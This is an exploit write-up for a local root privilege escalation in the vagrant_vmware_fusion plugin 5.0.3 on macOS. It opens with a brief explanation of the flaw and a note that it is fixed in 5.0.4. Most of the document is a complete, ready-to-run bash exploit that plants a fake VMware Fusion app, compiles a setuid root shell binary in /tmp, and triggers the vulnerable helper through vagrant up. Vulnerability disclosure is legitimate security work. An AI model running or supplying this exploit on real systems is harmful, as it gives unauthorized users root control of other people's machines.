Risk: Medium
Local: Yes

CVE: N/A
CWE: CWE-264

# Another day, another root privesc bug in this plugin. Not quite so serious this # time - this one is only exploitable if the user has the plugin installed but # VMware Fusion *not* installed. This is a fairly unlikely scenario but it's a # straight to root privesc with no user interaction so isn't the kind of thing # that should be shipping with any software. # This occurs because the suid root sudo helper that I have discussed in previous # exploit writeups executes /Applications/VMware # Fusion.app/Contents/Library/vmnet-cli # as root, but if the application isn't installed and we're a local admin user we # can create a fake app directory with a payload in place of vmnet-cli that gets # executed as root. # HashiCorp fixed this (very quickly) in 5.0.4. # https://m4.rkw.io/vagrant_vmware_privesc_5.0.3.sh.txt # 3c11083386b3f7352d60b327190eed4364383c0622351db5410d809f4bda746a # ------------------------------------------------------------------------------ #!/bin/bash echo echo "#########################################################" echo "# vagrant_vmware_fusion plugin 5.0.3 local root privesc #" echo "# by m4rkw - https://m4.rkw.io/blog.html #"; echo "#########################################################" echo "# Note: only works when VMWare Fusion is not installed. #" echo "#########################################################" echo cleanup() { exec 2> /dev/null killall -9 vagrant 1>/dev/null 2>/dev/null kill -9 `ps auxwww |egrep '\/vagrant up$' |xargs -L1 |cut -d ' ' -f2` &>/dev/null exec 2> /dev/tty cd rm -rf .vagrant_vmware_fusion_503_exp rm -rf /Applications/VMware\ Fusion.app } if [ -e "/Applications/VMware Fusion.app" ] ; then echo "Fusion is installed, not exploitable." exit 1 fi echo "setting up fake app directory..." mkdir /Applications/VMware\ Fusion.app if [ ! $? -eq 0 ] ; then echo "Failed to create /Applications/VMware Fusion.app." exit 1 fi mkdir -p /Applications/VMware\ Fusion.app/Contents/Library/services touch /Applications/VMware\ Fusion.app/Contents/Library/vmrun touch /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ Fusion\ Services chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/vmrun chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ Fusion\ Services cat > /Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx <<EOF #!/bin/bash echo 1>&2 echo "VMware Fusion Information:" 1>&2 echo "VMware Fusion 10.0.1 build-6754183 Release" 1>&2 echo EOF chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx cat > /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli <<EOF #!/bin/bash chown root:wheel /tmp/vvp_503 chmod 4755 /tmp/vvp_503 EOF chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli echo "compiling payload..." cat > /tmp/vvp_503.c <<EOF #include <unistd.h> int main() { setuid(0); seteuid(0); execl("/bin/bash","bash","-c","rm -f /tmp/vvp_503; /bin/bash",NULL); return 0; } EOF gcc -o /tmp/vvp_503 /tmp/vvp_503.c rm -f /tmp/vvp_503.c cd mkdir .vagrant_vmware_fusion_503_exp cd .vagrant_vmware_fusion_503_exp echo "writing dummy vagrantfile ..." cat > vagrantfile <<EOF Vagrant.configure('2') do |config| config.vm.box = 'envimation/ubuntu-xenial' end EOF echo "triggering vagrant up [stage 1]..." vagrant up &>/dev/null & while : do r=`ps auxwww |grep 'vagrant up' |grep -v grep` if [ "$r" == "" ] ; then break fi sleep 0.5 done echo "dropping dummy machine..." uuid=`ls -1 .vagrant/machines/default/vmware_fusion |grep -v vagrant_cwd` touch .vagrant/machines/default/vmware_fusion/$uuid/ubuntu-xenial-vmware-fusion.vmx echo -n "`pwd`/.vagrant/machines/default/vmware_fusion/$uuid/ubuntu-xenial-vmware-fusion.vmx" > .vagrant/machines/default/vmware_fusion/id echo "triggering vagrant up [stage 2]..." vagrant up &>/dev/null & echo "waiting for payload to trigger ..." count=0 success=0 while : do r=`ls -la /tmp/vvp_503 |grep -- '-rwsr-xr-x 1 root wheel'` if [ "$r" != "" ] ; then success=1 break fi r=`ps auxwww |grep 'vagrant up' |grep -v grep` if [ "$r" == "" ] ; then break fi sleep 0.2 count=$(($count + 1)) if [ $count -eq 250 ] ; then echo "Timed out waiting for the payload to trigger." cleanup exit 1 fi done cleanup if [ ! $success -eq 1 ] ; then echo "exploit failed." exit 1 fi echo cd /tmp/vvp_503
